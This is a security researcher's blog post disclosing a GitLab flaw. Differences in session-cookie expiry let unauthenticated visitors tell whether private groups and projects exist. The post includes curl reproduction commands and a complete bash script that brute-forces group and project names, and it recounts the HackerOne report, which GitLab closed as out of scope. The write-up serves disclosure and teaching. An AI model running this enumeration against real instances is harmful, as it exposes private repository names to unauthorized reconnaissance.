Gitlab

“From project planning and source code management to CI/CD and monitoring, GitLab is a complete DevOps platform, delivered as a single application. Only GitLab enables Concurrent DevOps to make the software lifecycle 200% faster.”

~ gitlab.com

Gitlab is a Version Control System for your code, but it includes so much more.
Because of its feature richness developers love using Gitlab for streamlining their CI/CD.

HackerOne

HackerOne develops bug bounty solutions to help organizations reduce the risk of a security incident by working with the world’s largest community of ethical hackers to conduct discreet penetration tests, and operate a vulnerability disclosure or bug bounty program.

~ hackerone.com

HackerOne is one of the most popular bug bounty platforms.
The platform can be used by companies to publish their bug bounty program and by ethical hackers to responsibly disclose vulnerabilities.

In return for responsibly disclosing vulnerabilities and working with the companies to get the bug fixed, companies often provide bug bounties in the form of swag or cash payouts.
This ensures hackers choose to disclosure the bug and allow the companies to fix the bug, within a reasonable time period, instead of either publicly disclosing the vulnerability prior to it being fixed, or selling the information on the black market.

The vulnerability

Intro

While working on an engagement where a client installed an instance of Gitlab Community Edition, I discovered some weird behaviour.
Further investigation of this behaviour showed that it’s possible for an unauthenticated visitor to guess valid group and project names.

This behaviour is related to how Gitlab configures the session cookie returned with any response.

Not only self-installations of Gitlab CE are affected by this, but also repositories hosted on gitlab.com.

Details

Whenever you visit a Gitlab repository, a session cookie _gitlab_session is returned in the response.
This session cookie has little to no use for an unauthenticated visitor. Gitlab could be using this to track visitors on the site.

This cookie is not only set when visiting valid pages within the respository, but also when you’re visiting a URL of a group/repository that doesn’t exist.

There is, however, a slight difference in the cookie that’s set when visiting a valid URL compared to an invalid one.
The cookie that’s being set when visiting an non-existing project URL has an expiration date set. This expiration date is the current time + 2 hours.
Such and explicit expiration is not set when visiting a valid URL.

This behaviour also occurs when testing this with ‘hidden’ groups/projects. I.e. Internal or Private ones.

This difference allows us to programmatically request (bruteforce) group and project URLs, searching for hidden ones.

Examples - how to reproduce

To validate my suspicions, I installed Gitlab Community Edition on a fresh Ubuntu VM (Ubuntu Server 18.04.4 LTS since there was no Gitlab package available yet for 20.04 LTS).

Gitlab installation completed
Gitlab installation completed
System information
System:     Ubuntu 18.04
Current User:   git
Using RVM:  no
Ruby Version:   2.6.6p146
Gem Version:    2.7.10
Bundler Version:1.17.3
Rake Version:   12.3.3
Redis Version:  5.0.9
Git Version:    2.26.2
Sidekiq Version:5.2.7
Go Version: unknown

GitLab information
Version:    13.0.3
Revision:   e2397fc2acb
Directory:  /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL:        http://gitlab.lab.local
HTTP Clone URL: http://gitlab.lab.local/some-group/some-project.git
SSH Clone URL:  git@gitlab.lab.local:some-group/some-project.git
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: 

GitLab Shell
Version:    13.2.0
Repository storage paths:
- default:  /var/opt/gitlab/git-data/repositories
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell
Git:        /opt/gitlab/embedded/bin/git

I created every possible combination of groups and projects, ranging from Public to Private visiblity setting.

Combination of groups and projects in Gitlab
List of projects

I then checked with a simple cURL command whether I could deduce, without authenticating, whether a group or project existed.

curl --junk-session-cookies --cookie-jar - "<URL HERE>" 2>/dev/null | awk '/_gitlab_session/ {print $5}'

# Non-existing project
curl --junk-session-cookies --cookie-jar - "http://gitlab.lab.local/groupprivate/projectpublic" 2>/dev/null | awk '/_gitlab_session/ {print $5}'
1591290221

# Existing project
curl --junk-session-cookies --cookie-jar - "http://gitlab.lab.local/groupprivate/projectprivate" 2>/dev/null | awk '/_gitlab_session/ {print $5}'
0

This confirmed my suspicion of being able to enumerate/bruteforce group and project URLs.

So I wrote a small script that would run through a small list of names and test each combination.

Output of enumeration script
Output of enumeration script

To check whether it was also possible to exploit this information disclosure vulnerability on gitlab.com repositories, I created a free account and replicated the same combination of groups and projects.
Note however that the “Internal” Visibility Level is not available in this situation.

Modifying my script to test the new repsitory, I again got positive results.

Output of enumeration script on the gitlab.com repo
Output of enumeration script on gitlab.com repo

I disclosed this information disclosure vulnerability via HackerOne, however this type of vulnerability was marked as explicitly out-of-scope by Gitlab.

User and project enumeration/path disclosure unless an additional impact can be demonstrated

  • Reports where an attacker can validate a guess (for example an API route returning different status codes depending on if a private path exists or not) will not be accepted
  • Reports where an attacker can only disclose the ID of a private element will not be accepted

As such, I closed the report and no further action/communication has followed on this report.

The code

My script was written purely as a demo for the vulnerability report, but can easily be modified to make use of a wordlist or to work multithreaded.

You can find the code here below, or on Github.

#!/bin/bash

# Script by TheGroundZero (@DezeStijn)
#
# https://sequr.be/blog/2020/06/gitlab-unauthenticated-group-and-project-enumeration/
# https://gist.github.com/TheGroundZero/ea067760fd6c3854238f098cb075bf96
#
# Using a difference in behaviour by Gitlab in setting cookies
# it's possible to enumerate/bruteforce groups/projects
# as an unauthenticated user.
#
# This code was written purely for a demo.
# With some reworking this could work with wordlist files
# and even be multithreaded.
#
# Responsibly disclosed to Gitlab via HackerOne on 2020-06-04
# https://hackerone.com/reports/891055
#
# Free to use, but please do refer to this original gist.
#
# https://github.com/TheGroundZero
# https://twitter.com/DezeStijn/
# https://sequr.be/ | http://sequrx53bdtvizjsbcdibrugpg7fujhvx7b75rvhwh2kq3i4hhvh35qd.onion/
#

groups="root grouppublic groupinternal groupprivate"
projects="projectpublic projectinternal projectprivate"
url="http://gitlab.lab.local"

print_exists() {
	if [ $1 -eq 1 ]; then
		echo -e "\e[92m[+]\e[0m $2"
	else
		echo -e "\e[91m[-]\e[0m $2"
	fi
}

check_cookie() {
	status=`curl -s -o /dev/null -w "%{http_code}" "$1"`
	#echo "[i] HTTP code = $status"
	if [ $status -eq 200 ]; then
		print_exists 1 $1
	else
		expire=`curl --junk-session-cookies --cookie-jar - "$1" 2>/dev/null | awk '/_gitlab_session/ {print $5}'`
		#echo "[i] Expire = $expire"
		if [ $expire -gt 0 ]; then
			print_exists 0 $1
		else
			print_exists 1 $1
		fi
	fi
}

for group in $groups; do
	echo "[*] Group: $group"
	#echo "[*] Testing: $url/$group"
	check_cookie "$url/$group"

	for project in $projects; do
		echo "[*] Project: $project"
		#echo "[*] Testing: $url/$group/$project"
		check_cookie "$url/$group/$project"
	done
	echo ""
done